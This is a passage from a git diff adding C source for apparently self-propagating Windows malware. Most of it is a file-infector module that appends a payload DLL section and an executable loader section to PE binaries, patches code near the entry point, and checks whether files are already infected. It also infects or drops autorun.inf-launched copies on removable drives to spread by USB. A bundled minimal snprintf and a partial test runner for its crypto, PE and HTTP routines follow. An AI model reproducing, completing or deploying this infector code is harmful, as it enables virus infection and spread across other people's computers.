+ ppPtr->hdrFile = (PIMAGE_FILE_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD));
+ ppPtr->hdrOptional = (PIMAGE_OPTIONAL_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER));
+ if (ppPtr->hdrOptional->Magic != 0x010b) /* PE32 */
+ return FALSE;
+ if (ppPtr->hdrFile->Machine != 0x014C) /* i386 */
+ return FALSE;
+ ppPtr->hdrSection = (PIMAGE_SECTION_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
+ ppPtr->dataDir = (PIMAGE_DATA_DIRECTORY)ppPtr->hdrOptional->DataDirectory;
+ ppPtr->valid = TRUE;
+
+ /* during initial image rebasing, dont execute stuff which needs a rebased image */
+ if (!earlyStage) {
+ ppPtr->hasDLL = FALSE;
+ ppPtr->hasLdr = FALSE;
+ /* pointer to dll section */
+ DBUF(DLLSECTION_ENUM, dllsection);
+ if ( (ppPtr->ptrToDLL = pGetSegmentAdr((char*)dllsection, TRUE, ppPtr, &(ppPtr->sizOfDLL))) != NULL && ppPtr->sizOfDLL > 0)
+ ppPtr->hasDLL = TRUE;
+
+ /* pointer to loader section */
+ DBUF(LDRSECTION_ENUM, ldrsection);
+ if ( (ppPtr->ptrToLdr = pGetSegmentAdr((char*)ldrsection, TRUE, ppPtr, &(ppPtr->sizOfLdr))) != NULL && ppPtr->sizOfLdr > 0) {
+ ppPtr->loader86 = (loader_x86_data*)(ppPtr->ptrToLdr + getRealLoaderSize() - sizeof(struct loader_x86_data));
+ ppPtr->hasLdr = bCheckEndMarker(ppPtr);
+ if (!ppPtr->hasLdr) {
+ LOG_MARKER;
+ }
+ }
+ }
+ return TRUE;
+}
+
+BOOL bCheckEndMarker(const struct ParsedPE *ppPtr)
+{
+ unsigned char orig_loader_endmarker[] = { _LOADER_ENDMARKER };
+ unsigned char* loader_endmarker = (unsigned char*)&(ppPtr->loader86->endMarker);
+ BOOL ret = TRUE;
+ for (size_t i = 0; i < sizeof(orig_loader_endmarker); ++i) {
+ if (loader_endmarker[i] != orig_loader_endmarker[i]) {
+ ret = FALSE;
+ break;
+ }
+ }
+ return ret;
+}
+
+BOOL bAddSection(const char *sName, const BYTE *sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE *ppPtr)
+{
+ /* Peering Inside the PE: https://msdn.microsoft.com/en-us/library/ms809762.aspx */
+
+ /* enough header space avail? */
+ if (ppPtr->hdrOptional->SizeOfHeaders < (ppPtr->hdrDos->e_lfanew + sizeof(DWORD) +
+ sizeof(IMAGE_FILE_HEADER) + ppPtr->hdrFile->SizeOfOptionalHeader +
+ (ppPtr->hdrFile->NumberOfSections*sizeof(IMAGE_SECTION_HEADER))+sizeof(IMAGE_SECTION_HEADER)))
+ {
+ return FALSE;
+ }
+
+ /* Read the original fields of headers */
+ DWORD originalNumberOfSections = ppPtr->hdrFile->NumberOfSections;
+ /* Create the new section */
+ DWORD pointerToLastSection = 0;
+ DWORD sizeOfLastSection = 0;
+ DWORD virtualAddressOfLastSection = 0;
+ DWORD virtualSizeOfLastSection = 0;
+
+ for(SIZE_T i = 0; i != originalNumberOfSections; ++i)
+ {
+ if (pointerToLastSection < ppPtr->hdrSection[i].PointerToRawData)
+ {
+ /* section alrdy exists? */
+ if ( strncmp((const char*)ppPtr->hdrSection[i].Name, sName, IMAGE_SIZEOF_SHORT_NAME) == 0)
+ return FALSE;
+ pointerToLastSection = ppPtr->hdrSection[i].PointerToRawData;
+ sizeOfLastSection = ppPtr->hdrSection[i].SizeOfRawData;
+ virtualAddressOfLastSection = ppPtr->hdrSection[i].VirtualAddress;
+ virtualSizeOfLastSection = ppPtr->hdrSection[i].Misc.VirtualSize;
+ }
+ }
+ /* if a symbol table (debug info) is present, pointerToLastSection might be wrong */
+ /* symbol table is usually stored _after_ the last section and retrieved via IMAGE_FILE_HEADER.PointerToSymbolTable */
+ if (ppPtr->bufSiz > pointerToLastSection + sizeOfLastSection)
+ {
+ pointerToLastSection = ppPtr->bufSiz;
+ sizeOfLastSection = 0;
+ }
+
+ /* set new section header data */
+ IMAGE_SECTION_HEADER newImageSectionHeader;
+ memset(&newImageSectionHeader, '\0', sizeof(IMAGE_SECTION_HEADER));
+ newImageSectionHeader.Misc.VirtualSize = szSection;
+ memcpy(&newImageSectionHeader.Name, sName, strnlen(sName, sizeof(newImageSectionHeader.Name)));
+ newImageSectionHeader.PointerToRawData = XMemAlign(pointerToLastSection + sizeOfLastSection, ppPtr->hdrOptional->FileAlignment, 0);
+ newImageSectionHeader.PointerToRelocations = 0;
+ newImageSectionHeader.SizeOfRawData = XMemAlign(szSection, ppPtr->hdrOptional->FileAlignment, 0); /* aligned to FileAlignment */
+ newImageSectionHeader.VirtualAddress = XMemAlign(virtualSizeOfLastSection, ppPtr->hdrOptional->SectionAlignment, virtualAddressOfLastSection); /* aligned to Section Alignment */
+ /* Loader is usually stored in an executable section, DLL in a readonly section.
+ * The Loader does not execute code directly from section.
+ * (see loader source for detailed info)
+ */
+ newImageSectionHeader.Characteristics = (executable == TRUE ? IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE : IMAGE_SCN_MEM_READ);
+
+ /* update FILE && OPTIONAL header */
+ ++ppPtr->hdrFile->NumberOfSections;
+ ppPtr->hdrOptional->SizeOfImage = XMemAlign(newImageSectionHeader.VirtualAddress + newImageSectionHeader.Misc.VirtualSize, ppPtr->hdrOptional->SectionAlignment, 0);
+ /* save SizeOfImage, because ppPtr->hdrOptional->SizeOfImage might be invalid (re-allocation!) */
+ SIZE_T szNewSizOfImage = ppPtr->hdrOptional->SizeOfImage;
+ /* (re)allocate memory for _full_ pe image (including all headers, new section and section data) */
+ if (!(ppPtr->ptrToBuf = realloc(ppPtr->ptrToBuf, szNewSizOfImage)))
+ return FALSE;
+
+ /* if everything is gone right, parsing should succeed */
+ if (!bParsePE(ppPtr->ptrToBuf, szNewSizOfImage, ppPtr, FALSE))
+ {
+ return FALSE;
+ }
+
+ /* copy new section header */
+ memcpy(&ppPtr->hdrSection[ppPtr->hdrFile->NumberOfSections-1], &newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER));
+ /* copy new section data */
+ memcpy(ppPtr->ptrToBuf+newImageSectionHeader.PointerToRawData, sectionContentBuf, szSection);
+
+ return TRUE;
+}
+
+static BOOL bFindMyself(struct ParsedPE* ppe, DWORD* pDwBase, DWORD* pDwSize)
+{
+ SIZE_T siz = 0x0;
+ DWORD startAdr = 0x0;
+
+ /* Am I already in an infected binary? */
+ if (ppe->hasDLL) {
+ startAdr = (DWORD)ppe->ptrToDLL;
+ siz = ppe->sizOfDLL;
+ }
+ /* dirty workaround e.g. when started from runbin.exe */
+ if (!startAdr) {
+ startAdr = getSectionAdr();
+ }
+ if (!siz) {
+ siz = getImageSize();
+ }
+ /* check dwBase for valid memory region */
+ if (startAdr)
+ {
+ *pDwBase = startAdr;
+ *pDwSize = siz;
+ if (_IsBadReadPtr((void*)startAdr, siz) == TRUE)
+ {
+ *pDwBase = 0x0;
+ *pDwSize = 0x0;
+ LOG_MARKER
+ } else return TRUE;
+ } else LOG_MARKER
+ return FALSE;
+}
+
+static struct ParsedPE*
+pParsePE(BYTE* buf, SIZE_T szBuf)
+{
+ struct ParsedPE* ppe = calloc(1, sizeof(struct ParsedPE));
+
+ if (!ppe)
+ {
+ return NULL;
+ }
+ if (bParsePE(buf, szBuf, ppe, FALSE))
+ {
+ return ppe;
+ }
+ free(ppe);
+ return NULL;
+}
+
+static BOOL bInfectMemWith(const BYTE* maliciousBuf, SIZE_T maliciousSiz, struct ParsedPE* ppe)
+{
+ BOOL ret = FALSE;
+
+ if (ppe)
+ {
+ if (bIsInfected(ppe)) {
+ LOG_MARKER
+ } else {
+ DBUF(DLLSECTION_ENUM, dllsection);
+ if (bAddSection((char*)dllsection, maliciousBuf, maliciousSiz, FALSE, ppe))
+ {
+ ret = TRUE;
+ } else LOG_MARKER
+
+ DBUF(LDRSECTION_ENUM, ldrsection);
+ SIZE_T lsiz = 0;
+ BYTE* l = getLoader(&lsiz);
+ if (l && bAddSection((char*)ldrsection, l, lsiz, TRUE, ppe))
+ {
+ ret = TRUE;
+ } else LOG_MARKER;
+ if (l) free(l);
+
+ if (ret) {
+ ret = bParsePE(ppe->ptrToBuf, ppe->bufSiz, ppe, FALSE);
+ }
+ }
+ }
+ else
+ {
+ LOG_MARKER
+ }
+ return ret;
+}
+
+BOOL bInfectFileWith(const char* sFile, const BYTE* maliciousBuf, SIZE_T maliciousSiz)
+{
+ BOOL ret = FALSE;
+ BYTE* buf;
+ SIZE_T szBuf;
+ HANDLE hFile;
+
+ if (!bOpenFile(sFile, OF_WRITEACCESS, &hFile)) {
+ LOG_MARKER
+ return ret;
+ }
+ if (!bFileToBuf(hFile, &buf, &szBuf))
+ {
+ LOG_MARKER
+ _CloseHandle(hFile);
+ return ret;
+ }
+ struct ParsedPE* ppe = pParsePE(buf, szBuf);
+ if (ppe)
+ {
+ if (bInfectMemWith(maliciousBuf, maliciousSiz, ppe))
+ {
+ if (bPatchNearEntry(ppe))
+ {
+ if (nBufToFile(hFile, ppe->ptrToBuf, ppe->bufSiz) == ppe->bufSiz)
+ {
+ if (!bIsInfected(ppe))
+ {
+ LOG_MARKER
+ } else {
+ ret = TRUE;
+ }
+ }
+ } else {
+ LOG_MARKER
+ }
+ }
+ /* buf might not valid anymore (after bInfectMemWith(...) called) */
+ buf = ppe->ptrToBuf;
+ free(ppe);
+ } else LOG_MARKER;
+ free(buf);
+ _CloseHandle(hFile);
+ return ret;
+}
+
+BOOL bInfectWithMyself(const char* sFile)
+{
+ BOOL ret = FALSE;
+ BYTE* buf = NULL;
+ SIZE_T szBuf;
+ LPTSTR sFileMyself = calloc(sizeof(TCHAR), MAX_PATH+1);
+ HANDLE hMyself;
+ struct ParsedPE* ppe = NULL;
+
+ if (!sFileMyself)
+ {
+ LOG_MARKER
+ } else if (_GetModuleFileName(NULL, sFileMyself, MAX_PATH) == 0)
+ {
+ LOG_MARKER
+ } else if (!bOpenFile(sFileMyself, 0, &hMyself)) {
+ LOG_MARKER
+ } else if (!bFileToBuf(hMyself, &buf, &szBuf))
+ {
+ LOG_MARKER
+ } else {
+ ppe = pParsePE(buf, szBuf);
+ }
+ if (ppe)
+ {
+ /* find DLL (segment-)address and (segment-)size in current executable */
+ DWORD dwBase = 0x0;
+ DWORD dwSize = 0x0;
+ if (!bFindMyself(ppe, &dwBase, &dwSize))
+ {
+ LOG_MARKER
+ } else {
+ /* infect target executable (DLL and LOADER)
+ * Remember: The Loader is always accessible by our DLL (AES encrypted).
+ */
+ if (bInfectFileWith(sFile, (BYTE*)dwBase, dwSize)) {
+ ret = TRUE;
+ } else { LOG_MARKER }
+ }
+ free(ppe);
+ } else LOG_MARKER;
+ if (buf)
+ free(buf);
+ _CloseHandle(hMyself);
+ free(sFileMyself);
+ return ret;
+}
+
+BOOL bIsInfected(const struct ParsedPE* ppPtr)
+{
+ return (ppPtr->hasDLL && ppPtr->hasLdr);
+}
+
+void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, const struct ParsedPE* ppPtr, SIZE_T* pSegSiz)
+{
+ DWORD result = 0;
+ DWORD sSize = 0;
+
+ if (!ppPtr->valid) return NULL;
+ /* walk through sections and compare every name with sName */
+ for (DWORD idx = 0; idx < ppPtr->hdrFile->NumberOfSections; ++idx)
+ {
+ PIMAGE_SECTION_HEADER sec = &ppPtr->hdrSection[idx];
+ if ( (caseSensitive && strncmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0)
+ || strnicmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0)
+ {
+ result = RvaToOffset(ppPtr, sec->VirtualAddress);
+ sSize = sec->Misc.VirtualSize;
+ break;
+ }
+ }
+
+ if (result != 0)
+ {
+ /* check for valid RVA */
+ result += (DWORD)ppPtr->ptrToBuf;
+ if (_IsBadReadPtr((void*)result, sSize))
+ {
+ result = 0;
+ }
+ }
+
+ if (pSegSiz)
+ *pSegSiz = sSize;
+ return (void*)result;
+}
+
+DWORD dwDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, const void* dllBaseAdr)
+{
+ struct ParsedPE ppe;
+
+ if (!bParsePE(dllSectionAdr, dllSectionSiz, &ppe, TRUE))
+ return 0;
+
+ /* find symbol relocations (.reloc section) */
+ DWORD dwBaseReloc = ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
+ PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)RvaToPtr(&ppe, dwBaseReloc);
+ PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
+
+ /* We cant rely on getImageBase(), because variable imageBase might point to a faulty memory location. *
+ * Rebasing is one of the first things to do!
+ */
+ DWORD dllImageBase = _MILLER_IMAGEBASE;
+ DWORD dwDelta = (DWORD)dllBaseAdr - dllImageBase;
+
+ /* walk through all relocation entries and add delta to every entry */
+ while (pBaseReloc < pRelocEnd && pBaseReloc->VirtualAddress)
+ {
+ int count = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
+ WORD* wCurEntry = (WORD*)(pBaseReloc + 1);
+ void *pPageVa = (void *)((PBYTE)dllBaseAdr + pBaseReloc->VirtualAddress);
+
+ for (int i = 0; i < count; i++)
+ {
+ if (wCurEntry[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) {
+ *(DWORD *)((PBYTE)pPageVa + (wCurEntry[i] & 0x0fff)) += dwDelta;
+ }
+ }
+ pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);
+ }
+ return dwDelta;
+}
+
+static int szReadAutorunInf(LPCSTR szPath, LPSTR pTarget, SIZE_T szTarget)
+{
+ int retval = -1;
+ BYTE* buf = NULL;
+ SIZE_T szBuf = 0;
+
+ (void) szTarget;
+ if (bFileNameToBuf(szPath, &buf, &szBuf) == TRUE) {
+ DBUF(AUTORUN_OPEN_ENUM, __autoOpen);
+ /* parse `open=` substring */
+ const char* dbuf = COMPAT(strnistr)((const char*)buf, __autoOpen, szBuf);
+ int szOpen = 0;
+
+ if (!dbuf)
+ goto end;
+ dbuf += strnlen(__autoOpen, CLEN(AUTORUN_OPEN_ENUM));
+
+ /* read line until NEWLINE or NUL */
+ char* szEnd = strchr(dbuf, '\n');
+ if (szEnd) {
+ szOpen = (DWORD)szEnd - (DWORD)(dbuf);
+ /* windoze uses carriage returns */
+ if (szOpen > 1 && dbuf[szOpen-2] == '\r')
+ szEnd--;
+ } else {
+ /* no newline found, so use whole buffer */
+ szOpen = strnlen(dbuf, szBuf);
+ }
+
+ if (szOpen > 0) {
+ const char* prog = dbuf;
+ if (qtok((char*)dbuf, (char**)&dbuf) && *dbuf) {
+ szOpen = dbuf - prog - 1;
+ memmove(pTarget, prog, szOpen);
+ pTarget[szOpen] = 0;
+ }
+ }
+
+ retval = szOpen;
+ }
+
+end:
+ free(buf);
+ return retval;
+}
+
+DWORD dwInfectRemovables(void)
+{
+ DWORD retval = 0;
+ struct LogicalDrives* devs = calloc(DEFAULT_DEVS, sizeof(struct LogicalDrives));
+
+ if (devs) {
+ DWORD count = dwEnumDrives(devs, DEFAULT_DEVS);
+ if (count > 0) {
+ LPTSTR cmd = _GetCommandLine();
+ LPTSTR next = NULL;
+ LPTSTR arg0 = NULL;
+ DBUF(FILE_AUTORUN_INF_ENUM, __autorun);
+
+ if (!cmd)
+ goto end;
+ if (qtok(cmd, &next) && *next) {
+ arg0 = cmd;
+ }
+
+ BOOL useCurrentBinary = FALSE;
+ BYTE* buf = NULL;
+ SIZE_T szBuf = 0;
+ struct ParsedPE* ppe = NULL;
+ if (bFileNameToBuf(arg0, &buf, &szBuf) == TRUE) {
+ ppe = pParsePE(buf, szBuf);
+ if (ppe && dwCountNonSystemImportLibs(ppe) == 0) {
+ useCurrentBinary = TRUE;
+ }
+ }
+
+ for (DWORD i = 0; i < count; ++i) {
+ if (devs[i].devType == DRIVE_REMOVABLE) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("Infecting Drive: %s\n", devs[i].name);
+#endif
+ /* if autorun program exists, try to infect the executable it points */
+ char* fullPath = calloc(MAX_PATH+1, sizeof(char));
+ if (isFileInDir(devs[i].name, __autorun) == TRUE) {
+ DBUF(DIRFILE_FMT_ENUM, __fmt);
+ if (COMPAT(snprintf)(fullPath, MAX_PATH+1, __fmt, devs[i].name, __autorun) > 0) {
+ if (szReadAutorunInf(fullPath, fullPath, MAX_PATH) >= 0) {
+#if defined(_PRE_RELEASE) && defined(_EXTRA_VERBOSE)
+ COMPAT(printf)("Infecting: %s\n", fullPath);
+#endif
+ if (!bInfectWithMyself(fullPath))
+ LOG_MARKER;
+ } else LOG_MARKER;
+ } else LOG_MARKER;
+ } else if (useCurrentBinary == TRUE) {
+ /* if no autorun executable detected, just copy ourself to it (if possible) */
+ DBUF(FILE_AUTORUN_INF_ENUM, __autorunInf);
+ DBUF(AUTORUN_FMT_ENUM, __autorunInfFmt);
+ DBUF(FILE_AUTORUN_EXE_ENUM, __autorunExe);
+ DBUF(DIRFILE_FMT_ENUM, __dirfile);
+
+ char* autorunInf = calloc(MAX_PATH+1, sizeof(char));
+ int len = COMPAT(snprintf)(autorunInf, MAX_PATH+1, __autorunInfFmt, devs[i].name, __autorunExe);
+ COMPAT(snprintf)(fullPath, MAX_PATH+1, __dirfile, devs[i].name, __autorunInf);
+ if (bBufToFileName(fullPath, OF_WRITEACCESS | OF_CREATENEW, (BYTE*)autorunInf, len) != TRUE)
+ LOG_MARKER;
+
+ TGL_FLAG(ppe->loader86, FLAG_SHELLEXEC_ONLY);
+ COMPAT(snprintf)(fullPath, MAX_PATH+1, __dirfile, devs[i].name, __autorunExe);
+ if (bBufToFileName(fullPath, OF_WRITEACCESS | OF_CREATENEW, buf, szBuf) != TRUE)
+ LOG_MARKER;
+ free(autorunInf);
+ } else LOG_MARKER;
+ free(fullPath);
+ }
+ }
+
+ free(ppe);
+ free(buf);
+ }
+ }
+end:
+ free(devs);
+ return retval;
+}
+
+DWORD dwCountNonSystemImportLibs(const struct ParsedPE* ppPtr)
+{
+ DWORD retval = -1;
+ char* sysDir = calloc(MAX_PATH+1, sizeof(char));
+
+ if (ppPtr->valid == TRUE) {
+ DWORD adr = ppPtr->dataDir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
+ PIMAGE_IMPORT_DESCRIPTOR idt = (PIMAGE_IMPORT_DESCRIPTOR)RvaToPtr(ppPtr, adr);
+
+ if (_GetSystemDirectory(sysDir, MAX_PATH) == 0)
+ goto end;
+
+ retval = 0;
+ while (idt->Name) {
+ if (isFileInDir(sysDir, (LPSTR)RvaToPtr(ppPtr, idt->Name)) == TRUE) {
+#if defined(_PRE_RELEASE) && defined(_EXTRA_VERBOSE)
+ COMPAT(printf)("SYS-DLL found: %s\\%s !!\n", sysDir, (LPSTR)RvaToPtr(ppPtr, idt->Name));
+#endif
+ } else retval++;
+ idt++;
+ }
+ }
+
+end:
+ free(sysDir);
+ return retval;
+}
+
+FARPROC WINAPI fnMyGetProcAddress(HMODULE hModule, LPCSTR szProcName)
+{
+ if (! hModule || ! szProcName)
+ return NULL;
+
+ BYTE* modb = (BYTE*)hModule;
+ struct ParsedPE ppe = {0};
+ if (! bParsePE(modb, 0, &ppe, TRUE) || ! ppe.valid)
+ return NULL;
+
+ PIMAGE_DATA_DIRECTORY eDataDir = (PIMAGE_DATA_DIRECTORY)(&ppe.dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT]);
+ PIMAGE_EXPORT_DIRECTORY eDir = (PIMAGE_EXPORT_DIRECTORY)(modb + eDataDir->VirtualAddress);
+
+ void** funcTable = (void**)(modb + eDir->AddressOfFunctions);
+ WORD* ordTable = (WORD*) (modb + eDir->AddressOfNameOrdinals);
+ char** nameTable = (char**)(modb + eDir->AddressOfNames);
+ void* address = NULL;
+ size_t nProcName = COMPAT(strlen)(szProcName);
+
+ if ( ((DWORD)(szProcName) >> 16) == 0 ) {
+ /* import by ordinal */
+ WORD ordinal = LOWORD(szProcName);
+ DWORD ordBase = eDir->Base;
+ /* valid orinal? */
+ if (ordinal < ordBase || ordinal > ordBase + eDir->NumberOfFunctions)
+ return NULL;
+ address = (void*)(modb + (DWORD)funcTable[ordinal - ordBase]);
+ } else {
+ /* import by name */
+ for (DWORD i = 0; i < eDir->NumberOfNames; ++i) {
+ /* calculate name tables pointer from RVA */
+ if (COMPAT(strncmp)(szProcName, (const char*)(modb + (DWORD)nameTable[i]), nProcName) == 0) {
+ address = (void*)(modb + (DWORD)funcTable[ordTable[i]]);
+ }
+ }
+ }
+
+ return address;
+}
diff --git a/source/snprintf.c b/source/snprintf.c
new file mode 100644
index 0000000..3a84d17
--- /dev/null
+++ b/source/snprintf.c
@@ -0,0 +1,185 @@
+/*
+ * The Minimal snprintf() implementation
+ *
+ * Copyright (c) 2013,2014 Michal Ludvig <michal@logix.cz>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * * Neither the name of the auhor nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * ----
+ *
+ * This is a minimal snprintf() implementation optimised
+ * for embedded systems with a very limited program memory.
+ * mini_snprintf() doesn't support _all_ the formatting
+ * the glibc does but on the other hand is a lot smaller.
+ * Here are some numbers from my STM32 project (.bin file size):
+ * no snprintf(): 10768 bytes
+ * mini snprintf(): 11420 bytes (+ 652 bytes)
+ * glibc snprintf(): 34860 bytes (+24092 bytes)
+ * Wasting nearly 24kB of memory just for snprintf() on
+ * a chip with 32kB flash is crazy. Use mini_snprintf() instead.
+ *
+ */
+
+#include <string.h>
+#include <stdarg.h>
+
+#include "snprintf.h"
+#include "compat.h"
+
+
+unsigned int
+mini_itoa(int value, unsigned int radix, unsigned int uppercase, unsigned int unsig,
+ char *buffer, unsigned int zero_pad)
+{
+ char *pbuffer = buffer;
+ int negative = 0;
+ unsigned int i, len;
+
+ /* No support for unusual radixes. */
+ if (radix > 16)
+ return 0;
+
+ if (value < 0 && !unsig) {
+ negative = 1;
+ value = -value;
+ }
+
+ /* This builds the string back to front ... */
+ do {
+ int digit = value % radix;
+ *(pbuffer++) = (digit < 10 ? '0' + digit : (uppercase ? 'A' : 'a') + digit - 10);
+ value /= radix;
+ } while (value > 0);
+
+ for (i = (pbuffer - buffer); i < zero_pad; i++)
+ *(pbuffer++) = '0';
+
+ if (negative)
+ *(pbuffer++) = '-';
+
+ *(pbuffer) = '\0';
+
+ /* ... now we reverse it (could do it recursively but will
+ * conserve the stack space) */
+ len = (pbuffer - buffer);
+ for (i = 0; i < len / 2; i++) {
+ char j = buffer[i];
+ buffer[i] = buffer[len-i-1];
+ buffer[len-i-1] = j;
+ }
+
+ return len;
+}
+
+int
+mini_vsnprintf(char *buffer, unsigned int buffer_len, const char *fmt, va_list va)
+{
+ char *pbuffer = buffer;
+ char bf[24];
+ char ch;
+
+ int _putc(char ch)
+ {
+ if ((unsigned int)((pbuffer - buffer) + 1) >= buffer_len)
+ return 0;
+ *(pbuffer++) = ch;
+ *(pbuffer) = '\0';
+ return 1;
+ }
+
+ int _puts(char *s, unsigned int len)
+ {
+ unsigned int i;
+
+ if (buffer_len - (pbuffer - buffer) - 1 < len)
+ len = buffer_len - (pbuffer - buffer) - 1;
+
+ /* Copy to buffer */
+ for (i = 0; i < len; i++)
+ *(pbuffer++) = s[i];
+ *(pbuffer) = '\0';
+
+ return len;
+ }
+
+ while ((ch=*(fmt++))) {
+ if ((unsigned int)((pbuffer - buffer) + 1) >= buffer_len)
+ break;
+ if (ch!='%')
+ _putc(ch);
+ else {
+ char zero_pad = 0;
+ char *ptr;
+ unsigned int len;
+
+ ch=*(fmt++);
+
+ /* Zero padding requested */
+ if (ch=='0') {
+ ch=*(fmt++);
+ if (ch == '\0')
+ goto end;
+ if (ch >= '0' && ch <= '9')
+ zero_pad = ch - '0';
+ ch=*(fmt++);
+ }
+
+ switch (ch) {
+ case 0:
+ goto end;
+
+ case 'u':
+ case 'd':
+ len = mini_itoa(va_arg(va, unsigned int), 10, 0, (ch=='u'), bf, zero_pad);
+ _puts(bf, len);
+ break;
+
+ case 'p':
+ len = mini_itoa(va_arg(va, unsigned int), 16, 1, 1, bf, 8);
+ _puts(bf, len);
+ break;
+ case 'x':
+ case 'X':
+ len = mini_itoa(va_arg(va, unsigned int), 16, (ch=='X'), 1, bf, zero_pad);
+ _puts(bf, len);
+ break;
+
+ case 'c' :
+ _putc((char)(va_arg(va, int)));
+ break;
+
+ case 's' :
+ ptr = va_arg(va, char*);
+ _puts(ptr, COMPAT(strlen)(ptr));
+ break;
+
+ default:
+ _putc(ch);
+ break;
+ }
+ }
+ }
+end:
+ return pbuffer - buffer;
+}
diff --git a/source/tests/run_tests.c b/source/tests/run_tests.c
new file mode 100644
index 0000000..207347f
--- /dev/null
+++ b/source/tests/run_tests.c
@@ -0,0 +1,106 @@
+#include "compat.h"
+#include "tests.h"
+#include "utils.h"
+
+#include <unistd.h>
+#include <signal.h>
+
+
+int null_dev = -1;
+static FILE* null_file = NULL;
+MYASSERT_LOGDEF;
+unsigned test_count = 0;
+unsigned test_faild = 0;
+
+
+void sigsegv_handler(int signal)
+{
+ if (signal == SIGSEGV) {
+ ERRPRINT_BOTH("%s", "***** ACCESS VIOLATION *****");
+ fclose(null_file);
+ fclose(MYASSERT_LOGFILE);
+ exit(1);
+ }
+}
+
+int main(int argc, char** argv)
+{
+ fprintf(stderr, "Running TESTS ..\n\n");
+
+ (void)argc;
+ if (signal(SIGSEGV, sigsegv_handler) == SIG_ERR) {
+ fprintf(stderr, "Could not setup a signal handler for memory acces violations!\n");
+ }
+
+ if (bInitCompat( LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress ) != TRUE) {
+ fprintf(stderr, "bInitCompat(...) failed!\n");
+ return 1;
+ }
+
+ const char* null_devname = "nul";
+ null_file = fopen (null_devname, "w");
+ if (null_file == NULL) {
+ fprintf(stderr, "Could not open windows NULL device: %s", null_devname);
+ } else null_dev = _fileno(null_file);
+
+ MYASSERT_INIT;
+ MYASSERT(test_math());
+ MYASSERT(test_utils())
+ MYASSERT(test_heap());
+ MYASSERT(test_mem());
+ MYASSERT(test_memalign());
+ MYASSERT(test_aes());
+ MYASSERT(test_crypt());
+ MYASSERT(test_distorm());
+ MYASSERT(test_stdio());
+ MYASSERT(test_pe(argv[0]));
+ MYASSERT(test_http());
+
+ MYASSERT_SILENT( (puts("puts(...)\n") == 0) );
+ MYASSERT_SILENT( (__xputs("__xputs(...)\n") > 0) );
+
+ static char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,.-#'?!";
+ char* rndstr = __randstring(4096, charset);
+ MYASSERT_SILENT( (__xprintf("---%s---\n", rndstr) > 0) );
+ COMPAT(free)(rndstr);
+
+ if (MYASSERT_RETVAL == 0) {
+ ERRPRINT_BOTH("SUCCESS | TESTS: %u", (unsigned)test_count);
+ } else {
+ ERRPRINT_BOTH("LAST FAILED with %d | FAILED/TESTS: %u/%u", MYASSERT_RETVAL, (unsigned)test_faild, (unsigned)test_count);
+ }
+
+ MYASSERT_RETURN;
+}
+
+char* test_randstring(size_t length)
+{
+
+ static char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,.-#'?!";
+ return __randstring(length, charset);;
+}
+
+char* test_randhexstring(size_t length)
+{
+ static char hcharset[] = "0123456789abcdef";
+ return __randstring(length, hcharset);
+}
+
+int fprintf_setw(FILE *stream, size_t s_maxlen, const char *format, ...)
+{
+ int ret;
+ static char tmp[BUFSIZ];
+ va_list va;
+ va_start(va, format);
+
+ ret = vsnprintf(tmp, BUFSIZ, format, va);
+ if (ret > 0 && (size_t)ret < s_maxlen && ret+s_maxlen < BUFSIZ)
+ {
+ for (size_t i = ret; i < s_maxlen; ++i)
+ tmp[i] = '.';
+ }
